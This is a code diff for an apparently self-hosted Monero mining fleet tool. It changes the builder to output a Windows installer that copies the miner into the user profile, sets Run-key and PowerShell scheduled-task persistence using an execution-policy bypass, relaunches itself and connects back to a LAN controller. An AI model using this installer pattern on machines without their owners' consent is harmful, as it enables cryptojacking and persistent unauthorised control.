diff --git a/README.md b/README.md index b183c8c..8247549 100644 --- a/README.md +++ b/README.md @@ -5,13 +5,26 @@ Private Monero (XMR) fleet control server for your own network. Run the control ## Quick Start 1. Install [Go 1.21+](https://go.dev/dl/) and [Node.js 20+](https://nodejs.org/) (or let `run.bat` install them). -2. Double-click **`run.bat`** or run it from a terminal. -3. Open **http://localhost:8989** +2. Double-click **`run.bat`** on your control PC. +3. Open **http://YOUR-LOCAL-IP:8989** (shown when the server starts). 4. Go to **Settings** and set your wallet + pool. -5. Go to **Miner Builder**, name a worker, click **Build Miner .exe**. -6. Copy the built file from the path shown (under `data/builds/`) to target Windows machines and run it. +5. Go to **Miner Builder**, enter a worker name, click **Build Installer .exe**. +6. Copy `install-{worker}.exe` to each Windows machine on your LAN and **run it once**. -## What Gets Built +Each installer: + +- Copies the miner to `%LOCALAPPDATA%\CryptoMiner\{worker}-{build}\miner.exe` +- Registers Windows auto-start (and optional scheduled task) +- Connects back to your dashboard at your **LAN IP:8989** +- Appears on the **Agents** and **Dashboard** pages automatically + +## End Result + +| Piece | What it does | +|-------|----------------| +| Control PC | Runs the web dashboard on local IP + port **8989** | +| Dashboard | Configure pool/wallet/defaults, build installers, track all miners | +| `install-{name}.exe` | Single file you run once on each worker PC to install + start mining | | Component | Purpose | |-----------|---------| diff --git a/agent/deploy/install.go b/agent/deploy/install.go new file mode 100644 index 0000000..28588e2 --- /dev/null +++ b/agent/deploy/install.go @@ -0,0 +1,185 @@ +package deploy + +import ( + "fmt" + "io" + "os" + "os/exec" + "path/filepath" + "strings" + + "crypto-miner-agent/config" + + "golang.org/x/sys/windows/registry" +) + +const runFlag = "--run" + +// InstallIfNeeded copies the installer to a permanent location, registers auto-start, +// and relaunches the miner from there. Returns true when the current process should exit. +func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) { + currentExe, err := CurrentExecutable() + if err != nil { + return false, err + } + + for _, arg := range os.Args[1:] { + if arg == runFlag { + return false, nil + } + } + + installDir, err := InstallDir(cfg.WorkerName, cfg.BuildID) + if err != nil { + return false, err + } + installedExe := filepath.Join(installDir, "miner.exe") + + if samePath(currentExe, installedExe) { + return false, nil + } + + if err := os.MkdirAll(installDir, 0755); err != nil { + return false, fmt.Errorf("create install dir: %w", err) + } + + if err := copyFile(currentExe, installedExe); err != nil { + return false, fmt.Errorf("copy miner: %w", err) + } + + logPath := filepath.Join(installDir, "miner.log") + _ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf( + "worker=%s\nbuild=%s\nserver=%s\ninstalled_exe=%s\n", + cfg.WorkerName, cfg.BuildID, cfg.ServerURL, installedExe, + )), 0644) + + if cfg.AutoStart { + if err := configureAutoStart(cfg.WorkerName, installedExe); err != nil { + return false, fmt.Errorf("auto-start: %w", err) + } + } + + if err := configureRunMode(cfg, installedExe); err != nil { + return false, err + } + + if err := relaunch(installedExe, logPath); err != nil { + return false, fmt.Errorf("start installed miner: %w", err) + } + + return true, nil +} + +func InstallDir(workerName, buildID string) (string, error) { + base, err := os.UserConfigDir() + if err != nil { + return "", err + } + safeWorker := sanitizeName(workerName) + shortBuild := buildID + if len(shortBuild) > 8 { + shortBuild = shortBuild[:8] + } + return filepath.Join(base, "CryptoMiner", fmt.Sprintf("%s-%s", safeWorker, shortBuild)), nil +} + +func configureAutoStart(workerName, exePath string) error { + k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE) + if err != nil { + return err + } + defer k.Close() + return k.SetStringValue(registryValueName(workerName), fmt.Sprintf(`"%s" %s`, exePath, runFlag)) +} + +func configureRunMode(cfg config.RuntimeConfig, installedExe string) error { + switch cfg.RunAs { + case "scheduled": + return createScheduledTask(cfg.WorkerName, installedExe) + case "service": + // Windows service requires a service wrapper; scheduled task at logon is the practical equivalent. + return createScheduledTask(cfg.WorkerName, installedExe) + default: + return nil + } +} + +func createScheduledTask(workerName, exePath string) error { + taskName := sanitizeName(workerName) + if taskName == "" { + taskName = "CryptoMinerAgent" + } + script := fmt.Sprintf( + `$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable; Register-ScheduledTask -TaskName 'CryptoMiner-%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`, + strings.ReplaceAll(exePath, `'`, `''`), + runFlag, + taskName, + ) + cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script) + return cmd.Run() +} + +func relaunch(exePath, logPath string) error { + cmd := exec.Command(exePath, runFlag) + cmd.Dir = filepath.Dir(exePath) + cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath) + return cmd.Start() +} + +func registryValueName(workerName string) string { + name := sanitizeName(workerName) + if name == "" { + return "CryptoMinerAgent" + } + return "CryptoMiner-" + name +} + +func sanitizeName(name string) string { + replacer := strings.NewReplacer(" ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "") + return replacer.Replace(strings.TrimSpace(name)) +} + +func samePath(a, b string) bool { + a = filepath.Clean(a) + b = filepath.Clean(b) + if strings.EqualFold(a, b) { + return true + } + aAbs, errA := filepath.Abs(a) + bAbs, errB := filepath.Abs(b) + if errA != nil || errB != nil { + return false + } + return strings.EqualFold(aAbs, bAbs) +} + +func copyFile(src, dest string) error { + in, err := os.Open(src) + if err != nil { + return err + } + defer in.Close() + + out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755) + if err != nil { + return err + } + defer out.Close() + + _, err = io.Copy(out, in) + return err +} + +func ConfigureAutoStart(exePath string, enabled bool) error { + return configureAutoStart("default", exePath) +} + +func removeAutoStart() error { + k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE) + if err != nil { + return nil + } + defer k.Close() + _ = k.DeleteValue("CryptoMinerAgent") + return nil +} diff --git a/agent/deploy/windows.go b/agent/deploy/windows.go index 69d245a..326e6a0 100644 --- a/agent/deploy/windows.go +++ b/agent/deploy/windows.go @@ -5,34 +5,9 @@ import ( "os" "os/exec" "path/filepath" - - "golang.org/x/sys/windows/registry" ) -func ConfigureAutoStart(exePath string, enabled bool) error { - if !enabled { - return removeAutoStart() - } - k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE) - if err != nil { - return err - } - defer k.Close() - return k.SetStringValue("CryptoMinerAgent", exePath) -} - -func removeAutoStart() error { - k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE) - if err != nil { - return nil - } - defer k.Close() - _ = k.DeleteValue("CryptoMinerAgent") - return nil -} - func SetProcessPriority(priority string) error { - // Best-effort on Windows using PowerShell for the current process. class := "BelowNormal" switch priority { case "idle": diff --git a/agent/main.go b/agent/main.go index 947f763..081fe30 100644 --- a/agent/main.go +++ b/agent/main.go @@ -3,6 +3,7 @@ package main import ( "log" "os" + "path/filepath" "crypto-miner-agent/client" "crypto-miner-agent/config" @@ -12,6 +13,7 @@ import ( func main() { log.SetFlags(log.LstdFlags | log.Lshortfile) cfg := config.Load() + setupLogging(cfg) if cfg.Wallet == "" { log.Fatal("wallet address is required in built-in configuration") @@ -20,19 +22,20 @@ func main() { log.Fatal("server URL is required in built-in configuration") } + installed, err := deploy.InstallIfNeeded(cfg) + if err != nil { + log.Fatalf("[installer] failed: %v", err) + } + if installed { + log.Printf("[installer] installed worker=%s to permanent location and started miner", cfg.WorkerName) + return + } + if err := deploy.SetProcessPriority(cfg.CPUPriority); err != nil { log.Printf("[agent] could not set CPU priority: %v", err) } - if cfg.AutoStart { - if exe, err := deploy.CurrentExecutable(); err == nil { - if err := deploy.ConfigureAutoStart(exe, true); err != nil { - log.Printf("[agent] auto-start setup failed: %v", err) - } - } - } - - log.Printf("[agent] starting worker=%s build=%s server=%s threads=%d", + log.Printf("[agent] running worker=%s build=%s server=%s threads=%d", cfg.WorkerName, cfg.BuildID, cfg.ServerURL, cfg.Threads) agent := client.NewAgentClient(cfg) @@ -41,12 +44,25 @@ func main() { } } -func init() { - // Hide console when built with -H windowsgui by redirecting logs to file if needed. +func setupLogging(cfg config.RuntimeConfig) { if os.Getenv("MINER_LOG_FILE") != "" { - f, err := os.OpenFile(os.Getenv("MINER_LOG_FILE"), os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644) - if err == nil { - log.SetOutput(f) - } + redirectLog(os.Getenv("MINER_LOG_FILE")) + return + } + + installDir, err := deploy.InstallDir(cfg.WorkerName, cfg.BuildID) + if err != nil { + return + } + redirectLog(filepath.Join(installDir, "miner.log")) +} + +func redirectLog(path string) { + if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil { + return + } + f, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644) + if err == nil { + log.SetOutput(f) } } diff --git a/server/internal/api/router.go b/server/internal/api/router.go index b9ca878..fb020b7 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -31,6 +31,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler h := NewHandler(database) r.Get("/health", h.HealthCheck) + r.Get("/server/info", h.GetServerInfo) // Dashboard r.Get("/dashboard/stats", h.GetDashboardStats) diff --git a/server/internal/api/server_info.go b/server/internal/api/server_info.go new file mode 100644 index 0000000..672e91c --- /dev/null +++ b/server/internal/api/server_info.go @@ -0,0 +1,115 @@ +package api + +import ( + "net" + "net/http" + "strings" +) + +type ServerInfo struct { + Port int `json:"port"` + Host string `json:"host"` + LocalIPs []string `json:"local_ips"` + SuggestedURL string `json:"suggested_url"` + DashboardURL string `json:"dashboard_url"` + WebSocketURL string `json:"websocket_url"` +} + +func (h *Handler) GetServerInfo(w http.ResponseWriter, r *http.Request) { + host := r.Host + if idx := strings.Index(host, ":"); idx > 0 { + host = host[:idx] + } + + localIPs := listLocalIPv4() + suggestedHost := host + if isLoopbackHost(host) && len(localIPs) > 0 { + suggestedHost = localIPs[0] + } + + port := 8989 + if idx := strings.LastIndex(r.Host, ":"); idx > 0 { + if p := r.Host[idx+1:]; p != "" { + port = parsePort(p) + } + } + + suggestedURL := "http://" + net.JoinHostPort(suggestedHost, itoa(port)) + info := ServerInfo{ + Port: port, + Host: host, + LocalIPs: localIPs, + SuggestedURL: suggestedURL, + DashboardURL: suggestedURL, + WebSocketURL: strings.Replace(strings.Replace(suggestedURL, "https://", "wss://", 1), "http://", "ws://", 1) + "/ws/agent", + } + + writeJSON(w, info) +} + +func listLocalIPv4() []string { + var ips []string + ifaces, err := net.Interfaces() + if err != nil { + return ips + } + for _, iface := range ifaces { + if iface.Flags&net.FlagUp == 0 || iface.Flags&net.FlagLoopback != 0 { + continue + } + addrs, err := iface.Addrs() + if err != nil { + continue + } + for _, addr := range addrs { + var ip net.IP + switch v := addr.(type) { + case *net.IPNet: + ip = v.IP + case *net.IPAddr: + ip = v.IP + } + if ip == nil || ip.IsLoopback() { + continue + } + ip = ip.To4() + if ip == nil { + continue + } + ips = append(ips, ip.String()) + } + } + return ips +} + +func isLoopbackHost(host string) bool { + return host == "localhost" || host == "127.0.0.1" || host == "::1" +} + +func parsePort(s string) int { + n := 0 + for _, ch := range s { + if ch < '0' || ch > '9' { + return 8989 + } + n = n*10 + int(ch-'0') + } + if n == 0 { + return 8989 + } + return n +} + +func itoa(n int) string { + if n == 0 { + return "0" + } + var buf [16]byte + i := len(buf) + for n > 0 { + i-- + buf[i] = byte('0' + n%10) + n /= 10 + } + return string(buf[i:]) +} diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index 4962634..dad06c6 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -144,7 +144,7 @@ func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) { return BuildResponse{Success: false, Error: "Failed to write built-in config"}, http.StatusInternalServerError, "" } - outputName := fmt.Sprintf("xmr-worker-%s.exe", sanitizeFileName(req.WorkerName)) + outputName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName)) outputPath, _ := filepath.Abs(filepath.Join(buildDir, outputName)) ldflags := "-s -w" diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts index 6675bdb..aa43e70 100644 --- a/server/web/src/api/client.ts +++ b/server/web/src/api/client.ts @@ -1,4 +1,4 @@ -import type { Agent, Share, HashrateSample, BuildRecord, FleetStats, ServerConfig, BuildRequest, BuildResponse } from '../types'; +import type { Agent, Share, HashrateSample, BuildRecord, FleetStats, ServerConfig, BuildRequest, BuildResponse, ServerInfo } from '../types'; const API_BASE = '/api/v1'; @@ -48,6 +48,7 @@ export const api = { downloadBuild: (buildId: string) => `${API_BASE}/builds/${buildId}/download`, - // Health + // Health / server healthCheck: () => fetchJSON<{ status: string }>('/health'), + getServerInfo: () => fetchJSON('/server/info'), }; diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index f715731..c3e636b 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -1,12 +1,12 @@ import { useState, useEffect } from 'react'; import { api } from '../api/client'; -import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig } from '../types'; +import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo } from '../types'; import './Pages.css'; -function defaultsFromConfig(config: ServerConfig, origin: string): BuildRequest { +function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): BuildRequest { return { worker_name: '', - server_url: origin, + server_url: serverInfo.suggested_url, wallet: config.wallet.address, threads: config.default_agent_config.threads, cpu_priority: config.default_agent_config.cpu_priority, @@ -37,8 +37,8 @@ export default function BuilderPage() { const [loadingDefaults, setLoadingDefaults] = useState(true); useEffect(() => { - api.getConfig() - .then((config) => setForm(defaultsFromConfig(config, window.location.origin))) + Promise.all([api.getConfig(), api.getServerInfo()]) + .then(([config, serverInfo]) => setForm(defaultsFromConfig(config, serverInfo))) .catch((err) => { console.error(err); setError('Failed to load server defaults from Settings'); @@ -114,10 +114,10 @@ export default function BuilderPage() {
-

Build Custom Miner

+

Build Miner Installer

- Defaults come from Settings. Adjust per worker, then build. The server compiles a Windows - `.exe` with all values baked in and saves it under `data/builds/`. + Creates a single Windows installer `.exe`. Copy it to any machine on your network and run it once. + It installs the miner, registers auto-start, connects back to this dashboard at your LAN IP, and begins mining.

@@ -143,7 +143,7 @@ export default function BuilderPage() { onChange={(e) => updateField('server_url', e.target.value)} required /> - Control server URL agents connect to (LAN or tunneled domain) + Your control server on the LAN — workers use this to reach the dashboard ({form.server_url})
@@ -359,15 +359,16 @@ export default function BuilderPage() { )}
{lastBuild?.success && (
-

Build Complete

+

Installer Ready

+

Run this once on each Windows machine:

File: {lastBuild.file_name}

Size: {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(2)} MB

Absolute path:

diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts index fd8cb7e..4856820 100644 --- a/server/web/src/types/index.ts +++ b/server/web/src/types/index.ts @@ -39,6 +39,15 @@ export interface HashrateSample { timestamp: string; } +export interface ServerInfo { + port: number; + host: string; + local_ips: string[]; + suggested_url: string; + dashboard_url: string; + websocket_url: string; +} + export interface BuildRecord { id: string; worker_name: string;